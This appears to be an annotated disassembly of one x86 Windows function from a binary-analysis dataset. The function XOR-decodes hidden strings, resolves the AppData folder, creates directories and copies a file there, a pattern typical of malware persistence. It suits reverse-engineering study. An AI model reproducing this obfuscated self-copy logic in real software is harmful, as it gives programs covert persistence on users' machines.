Function at 0x4100a0
Capabilities:
Check if file exists
Copy file
Create directory
Encode data using xor
Get common file path
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5030f0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x1e8
push esi
push edi
mov dword [ebp - 0x28], ecx
push 0x104
lea eax, [ebp - 0x1f8]
mov dword [ebp - 4], 1
push 0
push eax
call fcn.004de6d0
add esp, 0xc
lea eax, [ebp - 0x1f8]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xorps xmm0, xmm0
mov word [ebp - 0x13], 0x5c
lea ecx, [ebp - 0x13]
mov byte [ebp - 0x11], 0
movups xmmword [ebp - 0xd4], xmm0
mov dword [ebp - 0xc4], 0
lea edx, [ecx + 1]
mov dword [ebp - 0xc0], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410137
sub ecx, edx
lea eax, [ebp - 0x13]
push ecx
push eax
lea ecx, [ebp - 0xd4]
call fcn.00402810
lea eax, [ebp - 0xd4]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0x1f8]
lea ecx, [ebp - 0xec]
call fcn.00469420
add esp, 4
lea ecx, [ebx + 8]
mov byte [ebp - 4], 3
push ecx
mov ecx, eax
call fcn.00465330
mov dword [ebp - 0x48], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x58], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x48], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0xd8]
cmp ecx, 0x10
jb 0x4101f3
mov edx, dword [ebp - 0xec]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4101e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410e66
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0xdc], 0
mov dword [ebp - 0xd8], 0xf
mov byte [ebp - 0xec], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0xc0]
cmp ecx, 0x10
jb 0x41024c
mov edx, dword [ebp - 0xd4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410242
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410e66
push ecx
push edx
call fcn.004dc6f1
add esp, 8
cmp dword [ebp - 0x44], 0x10
lea esi, [ebp - 0x58]
push 0x536230
cmovae esi, dword [ebp - 0x58]
mov dword [ebp - 0xc4], 0
mov dword [ebp - 0xc0], 0xf
mov byte [ebp - 0xd4], 0
call fcn.004db9f2
add esp, 4
test eax, eax
jne 0x410e6b
test esi, esi
je 0x410d86
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410294
sub ecx, edx
je 0x410d86
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4102cd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4102cd
cmp eax, 0x20
je 0x4102cd
cmp eax, 0x45
je 0x4102cd
cmp eax, 0x24
jne 0x410d86
push 0x536230
call fcn.004dba03
add esp, 4
mov dword [ebp - 0x21], 0x4061139
mov dword [ebp - 0x1d], 0x421f0f05
xor ecx, ecx
mov dword [ebp - 0x19], 0x1b0f09
mov byte [ebp - 0x15], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x4102f5
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x21]
mov dword [ebp - 0x14], esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410315
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebp - 0x48]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x410e71
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x21]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
mov ecx, esi
call fcn.0046cf70
call fcn.0040ba20
add esp, 0x18
test al, al
je 0x4107d1
lea ecx, [ebp - 0x13]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410370
sub ecx, edx
mov eax, edi
mov edx, dword [ebx + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x410e76
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
push ecx
cmovae eax, dword [ebx + 0x20]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x70]
call fcn.0046cf70
mov byte [ebp - 4], 7
lea ecx, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
mov edx, dword [ebp - 0x60]
cmovae ecx, dword [ebx + 8]
mov eax, dword [ebp - 0x5c]
mov edi, dword [ebx + 0x18]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x4103f5
cmp dword [ebp - 0x5c], 0x10
lea esi, [ebp - 0x70]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0x70]
mov dword [ebp - 0x60], eax
lea eax, [esi + edx]
push eax
call fcn.004de150
mov ecx, dword [ebp - 0x14]
lea eax, [esi + edi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x70]
jmp 0x410405
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x70]
push dword [ebp - 0x14]
push edi
call fcn.0046b360
mov dword [ebp - 0x90], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0xa0], xmm0
mov dword [ebp - 0x8c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0xa0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x90], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x410483
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410479
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410e7b
push ecx
push edx
call fcn.004dc6f1
add esp, 8
cmp dword [ebp - 0x8c], 0x10
lea esi, [ebp - 0xa0]
push 0x536230
cmovae esi, dword [ebp - 0xa0]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.004db9f2
add esp, 4
test eax, eax
jne 0x410e80
test esi, esi
je 0x410507
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4104c7
sub ecx, edx
je 0x410507
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4104f8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4104f8
cmp eax, 0x20
je 0x4104f8
cmp eax, 0x45
je 0x4104f8
cmp eax, 0x24
jne 0x410507
push 0x536230
call fcn.004dba03
add esp, 4
jmp 0x410539
push 0x536230
call fcn.004dba03
add esp, 4
lea eax, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
cmovae eax, dword [ebp - 0xa0]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x41078e
mov dword [ebp - 0x21], 0x4061139
xor ecx, ecx
mov dword [ebp - 0x1d], 0x421f0f05
mov dword [ebp - 0x19], 0x1b0f09
mov byte [ebp - 0x15], 1
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x410554
lea ecx, [ebp - 0x21]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410570
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebp - 0x90]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x410e86
cmp dword [ebp - 0x8c], 0x10
lea eax, [ebp - 0xa0]
push ecx
cmovae eax, dword [ebp - 0xa0]
lea ecx, [ebp - 0x21]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbc]
call fcn.0046cf70
mov byte [ebp - 4], 0xa
lea esi, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
mov dword [ebp - 0x21], 0x4061139
cmovae esi, dword [ebp - 0xbc]
xor ecx, ecx
mov dword [ebp - 0x1d], 0x421f0f05
mov dword [ebp - 0x19], 0x1b0f09
mov byte [ebp - 0x15], 1
nop dword [eax]
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xb
jb 0x4105f0
lea ecx, [ebp - 0x21]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410608
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x48]
sub eax, edx
cmp eax, ecx
jb 0x410e8b
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x21]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x88]
call fcn.0046cf70
cmp dword [ebp - 0x74], 0x10
lea eax, [ebp - 0x88]
push 0
cmovae eax, dword [ebp - 0x88]
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov ecx, dword [ebp - 0x74]
mov esi, eax
cmp ecx, 0x10
jb 0x410695
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x41068b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410e90
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0xa8]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
cmp ecx, 0x10
jb 0x4106e8
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4106de
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410e90
push ecx
push edx
call fcn.004dc6f1
add esp, 8
test esi, esi
je 0x4106f7
mov eax, dword [ebp - 0x28]
mov byte [eax], 1
jmp 0x410793
cmp dword [ebp - 0x8c], 0x10
lea edx, [ebp - 0xa0]
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0
cmovae edx, dword [ebp - 0xa0]
mov ecx, edx
mov dword [ebp - 0x74], 0
movups xmmword [ebp - 0x88], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410728
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x88]
call fcn.00402810
push ecx
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0xb
call fcn.0040bb70
mov byte [ebp - 4], 9
add esp, 4
mov ecx, dword [ebp - 0x74]
cmp ecx, 0x10
jb 0x410793
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410782
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410e95
push ecx
push edx
call fcn.004dc6f1
add esp, 8
jmp 0x410793
mov edi, closesocket
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x4107d1
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4107c7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410e9a
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov dword [ebp - 0x1e], 0x4061139
xor ecx, ecx
mov dword [ebp - 0x1a], 0x1f1f0f05
mov word [ebp - 0x16], 0x100
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x4107e7
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410800
sub ecx, edx
mov eax, edi
mov edx, dword [ebp - 0x48]
sub eax, edx
cmp eax, ecx
jb 0x410e9f
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push ecx
cmovae eax, dword [ebp - 0x58]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbc]
call fcn.0046cf70
mov byte [ebp - 4], 0xc
lea esi, [ebp - 0xbc]
cmp dword [ebp - 0xa8], 0x10
push 0x536230
cmovae esi, dword [ebp - 0xbc]
call fcn.004db9f2
add esp, 4
test eax, eax
jne 0x410ea4
test esi, esi
je 0x4108b1
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410870
sub ecx, edx
je 0x4108b1
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4108a1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4108a1
cmp eax, 0x20
je 0x4108a1
cmp eax, 0x45
je 0x4108a1
cmp eax, 0x24
jne 0x4108b1
push 0x536230
call fcn.004dba03
mov byte [ebp - 0x22], 1
jmp 0x4108bf
push 0x536230
call fcn.004dba03
mov byte [ebp - 0x22], 0
mov byte [ebp - 4], 6
add esp, 4
mov ecx, dword [ebp - 0xa8]
cmp ecx, 0x10
jb 0x410900
mov edx, dword [ebp - 0xbc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4108f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410eaa
push ecx
push edx
call fcn.004dc6f1
add esp, 8
cmp byte [ebp - 0x22], 0
je 0x410d93
lea ecx, [ebp - 0x13]
mov word [ebp - 0x13], 0x5c
mov byte [ebp - 0x11], 0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410920
sub ecx, edx
mov eax, edi
mov edx, dword [ebx + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x410eaf
cmp dword [ebx + 0x34], 0x10
lea eax, [ebx + 0x20]
push ecx
cmovae eax, dword [ebx + 0x20]
lea ecx, [ebp - 0x13]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0x70]
call fcn.0046cf70
mov byte [ebp - 4], 0xd
lea ecx, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
mov edx, dword [ebp - 0x60]
cmovae ecx, dword [ebx + 8]
mov eax, dword [ebp - 0x5c]
mov edi, dword [ebx + 0x18]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x4109a5
cmp dword [ebp - 0x5c], 0x10
lea esi, [ebp - 0x70]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0x70]
mov dword [ebp - 0x60], eax
lea eax, [esi + edx]
push eax
call fcn.004de150
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0x70]
jmp 0x4109b5
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0x70]
push dword [ebp - 0x14]
push edi
call fcn.0046b360
mov dword [ebp - 0x30], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x40], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x30], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x410a24
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410a1a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410eb4
push ecx
push edx
call fcn.004dc6f1
add esp, 8
cmp dword [ebp - 0x2c], 0x10
lea esi, [ebp - 0x40]
push 0x536230
cmovae esi, dword [ebp - 0x40]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
call fcn.004db9f2
add esp, 4
test eax, eax
jne 0x410eb9
test esi, esi
je 0x410aa0
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410a60
sub ecx, edx
je 0x410aa0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410a91
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410a91
cmp eax, 0x20
je 0x410a91
cmp eax, 0x45
je 0x410a91
cmp eax, 0x24
jne 0x410aa0
push 0x536230
call fcn.004dba03
add esp, 4
jmp 0x410ac9
push 0x536230
call fcn.004dba03
add esp, 4
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
cmovae eax, dword [ebp - 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410d50
mov dword [ebp - 0x1e], 0x4061139
xor ecx, ecx
mov dword [ebp - 0x1a], 0x1f1f0f05
mov word [ebp - 0x16], 0x100
nop
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x410ae0
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x15], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410af8
mov edi, closesocket
sub ecx, edx
mov edx, dword [ebp - 0x30]
mov eax, edi
sub eax, edx
cmp eax, ecx
jb 0x410ebf
cmp dword [ebp - 0x2c], 0x10
lea eax, [ebp - 0x40]
push ecx
cmovae eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x1e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x28]
lea ecx, [ebp - 0xbc]
call fcn.0046cf70
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x410b6a
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410b60
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410ed4
push ecx
push edx
call fcn.004dc6f1
add esp, 8
movups xmm1, xmmword [ebp - 0xbc]
lea esi, [ebp - 0x40]
movq xmm0, qword [ebp - 0xac]
movq qword [ebp - 0x30], xmm0
cmp dword [ebp - 0x2c], 0x10
movd eax, xmm1
push 0x536230
movups xmmword [ebp - 0x40], xmm1
cmovae esi, eax
call fcn.004db9f2
add esp, 4
test eax, eax
jne 0x410ec4
test esi, esi
je 0x410bf0
mov ecx, esi
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410bb0
sub ecx, edx
je 0x410bf0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x410be1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x410be1
cmp eax, 0x20
je 0x410be1
cmp eax, 0x45
je 0x410be1
cmp eax, 0x24
jne 0x410bf0
push 0x536230
call fcn.004dba03
add esp, 4
jmp 0x410c19
push 0x536230
call fcn.004dba03
add esp, 4
lea eax, [ebp - 0x40]
cmp dword [ebp - 0x2c], 0x10
cmovae eax, dword [ebp - 0x40]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x410d50
sub esp, 0x18
mov byte [ebp - 0x22], 0
lea eax, [ebp - 0x40]
mov dword [ebp - 0x14], esp
mov ecx, esp
push eax
call fcn.004655b0
mov byte [ebp - 4], 0x10
xor ecx, ecx
mov dword [ebp - 0x1e], 0x4061139
mov dword [ebp - 0x1a], 0x1f1f0f05
mov word [ebp - 0x16], 0x100
mov al, cl
add al, 0x65
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 8
jb 0x410c48
sub esp, 0x18
mov byte [ebp - 0x15], 0
mov esi, esp
lea ecx, [ebp - 0x1e]
mov dword [ebp - 0xa4], esi
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410c70
sub ecx, edx
mov edx, dword [ebp - 0x48]
sub edi, edx
cmp edi, ecx
jb 0x410eca
cmp dword [ebp - 0x44], 0x10
lea edi, [ebp - 0x1e]
push ecx
push edi
push edx
lea eax, [ebp - 0x58]
cmovae eax, dword [ebp - 0x58]
push eax
push ecx
push dword [ebp - 0xa4]
mov ecx, esi
call fcn.0046cf70
mov cl, byte [ebp - 0x22]
mov byte [ebp - 4], 0xf
call fcn.0040eb70
add esp, 0x30
test eax, eax
jne 0x410cc4
mov eax, dword [ebp - 0x28]
mov byte [eax], 1
jmp 0x410d50
cmp dword [ebp - 0x2c], 0x10
lea edx, [ebp - 0x40]
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0
cmovae edx, dword [ebp - 0x40]
mov ecx, edx
mov dword [ebp - 0x74], 0
movups xmmword [ebp - 0x88], xmm0
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410cf0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x88]
call fcn.00402810
push ecx
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 0x11
call fcn.0040bb70
mov ecx, dword [ebp - 0x74]
add esp, 4
cmp ecx, 0x10
jb 0x410d50
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410d46
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410ecf
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x410d93
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410d7a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410ed4
push ecx
push edx
call fcn.004dc6f1
add esp, 8
jmp 0x410d93
push 0x536230
call fcn.004dba03
add esp, 4
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x410dc7
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410dbd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410ed9
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp ecx, 0x10
jb 0x410e0d
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410e03
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410ed9
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebx + 0x34]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0xf
mov byte [ebx + 8], 0
cmp ecx, 0x10
jb 0x410e53
mov edx, dword [ebx + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410e49
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x410ed9
push ecx
push edx
call fcn.004dc6f1
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004e1990
push eax
call fcn.004db69b
call fcn.00402040
call fcn.00402040
call fcn.004e1990
push eax
call fcn.004db69b
call fcn.00402040
call fcn.00402040
call fcn.004e1990
call fcn.004e1990
call fcn.004e1990
call fcn.00402040
push eax
call fcn.004db69b
call fcn.004e1990
call fcn.00402040
call fcn.004e1990
push eax
call fcn.004db69b
call fcn.00402040
push eax
call fcn.004db69b
call fcn.00402040
call fcn.004e1990
call fcn.004e1990
call fcn.004e1990
int3